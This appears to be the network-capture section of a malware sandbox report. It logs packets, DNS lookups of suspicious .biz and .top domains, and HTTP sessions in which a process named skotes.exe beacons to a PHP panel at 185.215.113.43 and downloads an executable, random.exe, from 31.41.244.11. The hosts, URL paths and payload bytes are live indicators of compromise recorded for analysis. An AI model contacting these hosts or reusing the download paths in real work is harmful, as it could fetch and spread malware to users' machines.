Dec 16, 2024 17:02:32.851963043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.852741003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.852791071 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.852824926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.852840900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.852884054 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.853374004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.853498936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.853514910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.853542089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.854360104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.854425907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.854511976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.854528904 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.854568958 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.855003119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.855181932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.855196953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.855237007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.855906010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.855984926 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.856106997 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.856131077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.856205940 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.856981039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.857156992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.857181072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.857208967 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.857793093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.857836008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.857949018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.857973099 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.858011007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.858428001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.858782053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.858807087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.858851910 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.859210968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.859361887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.859416008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.859807968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.859860897 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.859927893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.859951019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.859992027 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.860502005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.860635996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.860658884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.860682011 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.861193895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.861244917 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.861334085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.861357927 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.861402988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.861910105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.862026930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.862050056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.862082958 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.862570047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.862628937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.862835884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.862859964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.862920046 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.863414049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.863436937 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.863461018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.863497019 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.863986015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.864141941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.864165068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.864193916 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.864228964 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.864631891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.864743948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.864765882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.864795923 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.865495920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.865643024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.865658045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.865696907 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.865722895 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:32.866183996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.866336107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.866352081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:32.866390944 CET	49714	80	192.168.2.8	138.124.35.95

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 17:02:18.308348894 CET	192.168.2.8	1.1.1.1	0x4ccd	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:18.308403969 CET	192.168.2.8	1.1.1.1	0x1b2f	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 16, 2024 17:02:22.646039963 CET	192.168.2.8	1.1.1.1	0x3d0c	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:22.646109104 CET	192.168.2.8	1.1.1.1	0x6a12	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 16, 2024 17:02:26.559236050 CET	192.168.2.8	1.1.1.1	0xeff2	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:26.559366941 CET	192.168.2.8	1.1.1.1	0xc254	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 16, 2024 17:02:41.307156086 CET	192.168.2.8	1.1.1.1	0x704b	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:41.536212921 CET	192.168.2.8	1.1.1.1	0xd1d9	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:41.849271059 CET	192.168.2.8	1.1.1.1	0x1f4c	Standard query (0)	zinc-sneark.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:42.458914042 CET	192.168.2.8	1.1.1.1	0xbd76	Standard query (0)	dwell-exclaim.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:42.689369917 CET	192.168.2.8	1.1.1.1	0x5750	Standard query (0)	formy-spill.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:42.918494940 CET	192.168.2.8	1.1.1.1	0xb687	Standard query (0)	covery-mover.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:43.588407993 CET	192.168.2.8	1.1.1.1	0x7384	Standard query (0)	dare-curbys.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:43.826371908 CET	192.168.2.8	1.1.1.1	0x25b	Standard query (0)	print-vexer.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:44.060054064 CET	192.168.2.8	1.1.1.1	0x7bb9	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:44.372200012 CET	192.168.2.8	1.1.1.1	0x5aa6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:51.046686888 CET	192.168.2.8	1.1.1.1	0xdafe	Standard query (0)	fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:51.046818972 CET	192.168.2.8	1.1.1.1	0xd198	Standard query (0)	fivetk5pn.top	28	IN (0x0001)	false
Dec 16, 2024 17:02:51.816509962 CET	192.168.2.8	1.1.1.1	0x6683	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:54.475624084 CET	192.168.2.8	1.1.1.1	0xe162	Standard query (0)	fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:54.475945950 CET	192.168.2.8	1.1.1.1	0xd32b	Standard query (0)	fivetk5pn.top	28	IN (0x0001)	false
Dec 16, 2024 17:02:58.949222088 CET	192.168.2.8	1.1.1.1	0x916a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:58.949356079 CET	192.168.2.8	1.1.1.1	0x44fd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 17:03:02.591258049 CET	192.168.2.8	1.1.1.1	0xc3b	Standard query (0)	fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:02.591322899 CET	192.168.2.8	1.1.1.1	0x8d23	Standard query (0)	fivetk5pn.top	28	IN (0x0001)	false
Dec 16, 2024 17:03:05.444101095 CET	192.168.2.8	1.1.1.1	0x1ec9	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:05.444143057 CET	192.168.2.8	1.1.1.1	0xca15	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 16, 2024 17:03:06.663006067 CET	192.168.2.8	1.1.1.1	0xa7bb	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:09.251353025 CET	192.168.2.8	1.1.1.1	0xf006	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:09.251524925 CET	192.168.2.8	1.1.1.1	0x892a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 17:04:51.548310995 CET	192.168.2.8	1.1.1.1	0xe808	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:04:51.548360109 CET	192.168.2.8	1.1.1.1	0x203f	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 16, 2024 17:04:54.436017036 CET	192.168.2.8	1.1.1.1	0xc195	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:04:54.436078072 CET	192.168.2.8	1.1.1.1	0x4231	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 17:02:18.528569937 CET	1.1.1.1	192.168.2.8	0x4ccd	No error (0)	httpbin.org		44.196.3.45	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:18.528569937 CET	1.1.1.1	192.168.2.8	0x4ccd	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:23.660181046 CET	1.1.1.1	192.168.2.8	0x3d0c	No error (0)	home.fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:26.698143005 CET	1.1.1.1	192.168.2.8	0xeff2	No error (0)	home.fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:41.531637907 CET	1.1.1.1	192.168.2.8	0x704b	Name error (3)	drive-connect.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:41.765688896 CET	1.1.1.1	192.168.2.8	0xd1d9	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:42.368613005 CET	1.1.1.1	192.168.2.8	0x1f4c	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:42.680835962 CET	1.1.1.1	192.168.2.8	0xbd76	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:42.905349016 CET	1.1.1.1	192.168.2.8	0x5750	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:43.158942938 CET	1.1.1.1	192.168.2.8	0xb687	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:43.823534012 CET	1.1.1.1	192.168.2.8	0x7384	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:44.054991007 CET	1.1.1.1	192.168.2.8	0x25b	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:44.284385920 CET	1.1.1.1	192.168.2.8	0x7bb9	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:44.513171911 CET	1.1.1.1	192.168.2.8	0x5aa6	No error (0)	steamcommunity.com		104.121.10.34	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:51.458767891 CET	1.1.1.1	192.168.2.8	0xdafe	No error (0)	fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:52.049299002 CET	1.1.1.1	192.168.2.8	0x6683	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:52.049299002 CET	1.1.1.1	192.168.2.8	0x6683	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:54.614408970 CET	1.1.1.1	192.168.2.8	0xe162	No error (0)	fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:59.087182045 CET	1.1.1.1	192.168.2.8	0x916a	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:02:59.087241888 CET	1.1.1.1	192.168.2.8	0x44fd	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 17:03:02.729387999 CET	1.1.1.1	192.168.2.8	0xc3b	No error (0)	fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:05.584661961 CET	1.1.1.1	192.168.2.8	0x1ec9	No error (0)	home.fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:06.802012920 CET	1.1.1.1	192.168.2.8	0xa7bb	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:06.802012920 CET	1.1.1.1	192.168.2.8	0xa7bb	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:03:09.393589020 CET	1.1.1.1	192.168.2.8	0x892a	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 17:03:09.393672943 CET	1.1.1.1	192.168.2.8	0xf006	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:04:51.788444042 CET	1.1.1.1	192.168.2.8	0xe808	No error (0)	httpbin.org		44.196.3.45	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:04:51.788444042 CET	1.1.1.1	192.168.2.8	0xe808	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 17:04:54.574007034 CET	1.1.1.1	192.168.2.8	0xc195	No error (0)	home.fivetk5pn.top		138.124.35.95	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:03.814538956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:02:05.157782078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:06.786077976 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:02:08.161216021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 33 31 0d 0a 20 3c 63 3e 31 30 31 36 31 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 36 31 37 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 31 37 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 31 37 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 [TRUNCATED] Data Ascii: 431 <c>1016171001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1016172001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016173001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016174001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc8739d5448f141e542404358d6d9fc1d#1016175001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016176001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016177001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016178001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016179001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016180001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2fc7141eeb01b11a150345c1ced12188bc9a5536e6#1016181001+++b5937c1a99d5f9df0b5daf [TRUNCATED]
Dec 16, 2024 17:02:08.161241055 CET	28	IN	Data Raw: 35 34 32 34 30 34 33 35 38 64 36 64 39 66 63 31 64 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 542404358d6d9fc1d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49708	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:02:08.286412954 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:02:09.619091034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:02:09 GMT Content-Type: application/octet-stream Content-Length: 4488192 Last-Modified: Mon, 16 Dec 2024 14:42:45 GMT Connection: keep-alive ETag: "67603c65-447c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 80 c8 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c8 00 00 04 00 00 f3 cf 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 62 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 62 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_g(Gu2H@D@ _rsrb\|b r*(@.rsrcr:(@.idata r<(@ P9s>(@olqvxqrc P@(@oeptsfenpVD@.taggant0"ZD@
Dec 16, 2024 17:02:09.619134903 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:09.619333982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:09.619489908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:09.619524956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:02:09.619808912 CET	1236	IN	Data Raw: 47 28 f1 e0 f4 28 7d 1c cc 16 d4 37 02 62 be a1 eb e2 07 80 26 ad 3f eb 45 25 4c 27 cd bc 93 92 02 0d 38 60 7b ac cb a8 2d 7e 5a 51 d9 8e 44 e6 c9 be f6 09 1e 44 16 84 b2 8e 21 8a 33 3d 9f a4 81 67 86 b4 6b 4c 58 33 d1 18 28 93 1c c5 7c 6c af bf Data Ascii: G((}7b&?E%L'8`{-~ZQDD!3=gkLX3(\|lmcTR(f(%$-%b T+==F'PNJ$+?$"x=yI!k(w,"zY$HU,*Adj8&r$LtOSt@AN%W7~DMR
Dec 16, 2024 17:02:09.619832039 CET	1236	IN	Data Raw: b1 40 18 78 6d 28 c9 46 a4 6f d5 1c 32 b8 df 37 aa 7f 46 67 5c 70 c9 1c 1f a8 e3 55 d9 24 28 5e ee ec 47 2d b9 2c 8d 76 37 48 cc 82 8d de ee 11 ce 9c 4e e5 b5 7e 33 11 1d 7a 8b 3b bd 44 02 e9 aa 27 7e ff 1d 67 6c f7 48 c4 7c 25 ce 18 85 5d a3 b8 Data Ascii: @xm(Fo27Fg\pU$(^G-,v7HN~3z;D'~glH\|%]3!=FpQH3h+fyFZqL;^oyV:eZB^r^{sogOczW`eb0X=t]q?jl9 "uz5iz+.E
Dec 16, 2024 17:02:09.619849920 CET	1236	IN	Data Raw: 01 14 b4 5e 51 1d e9 c8 73 86 89 f9 bf f8 62 58 39 c1 9e 30 75 9b 42 85 92 1b 49 99 5b 43 b7 32 69 87 79 a9 41 9f b7 2a d3 42 9f 62 86 18 5c 50 a1 6e 9d b8 2a 1f 42 f1 7d c2 e2 bf 9e e2 91 26 e6 18 06 81 dc ac 93 b3 01 0e 52 b0 5a 2c 84 76 cb d1 Data Ascii: ^QsbX90uBI[C2iyABb\PnB}&RZ,vLXNY#WoH9n6o@SC~-Z8Csaco\aPx ;B2bs#m5FyZ1.J!0pL.U,5n=I7qG/
